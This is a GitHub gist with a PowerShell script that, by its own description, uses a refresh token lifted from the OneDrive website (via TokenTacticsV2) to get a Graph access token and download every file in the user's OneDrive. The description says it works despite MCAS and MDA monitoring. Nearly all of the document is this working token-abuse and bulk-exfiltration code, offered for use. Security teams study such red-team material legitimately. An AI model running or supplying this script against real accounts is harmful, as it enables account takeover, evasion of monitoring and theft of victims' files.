Skip to content

Instantly share code, notes, and snippets.

@f-bader
Created August 15, 2022 12:29
Show Gist options
  • Star 3 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save f-bader/e0c8dd8ccbcb48e437fb4f243de125fb to your computer and use it in GitHub Desktop.
Save f-bader/e0c8dd8ccbcb48e437fb4f243de125fb to your computer and use it in GitHub Desktop.
Use TokenTacticsV2 and RefreshToken from OneDrive website to get an AccessToken. Then download everything. Works with MCAS and MDA thanks to FOCI and Graph
function Get-CustomOneDriveFileList {
param (
$ObjectId
)
if ([string]::IsNullOrWhiteSpace($ObjectId)) {
Write-Verbose "Use root folder"
$Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/beta/me/drive/root/children" )['value']
}
else {
Write-Verbose "Use object id $ObjectId"
$Objects = (Invoke-MgGraphRequest -Uri "https://graph.microsoft.com/v1.0/me/drive/items/$($ObjectId)/children")['value']
}
foreach ($Object in $Objects) {
if ( $Object.ContainsKey("folder") ) {
Write-Verbose "Object id $ObjectId is a folder"
Get-CustomOneDriveFileList -ObjectId $($Object.id)
}
elseif ( $Object.ContainsKey("webUrl") ) {
Write-Verbose "Object id $ObjectId is a file"
[PSCustomObject]@{
downloadUrl = $Object.'@microsoft.graph.downloadUrl'
fileName = $Object.name
}
}
}
}
$ProgressPreference = "SilentlyContinue"
$Files = Get-CustomOneDriveFileList
foreach ($File in $Files) {
Invoke-WebRequest $File.downloadUrl -OutFile $File.fileName
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment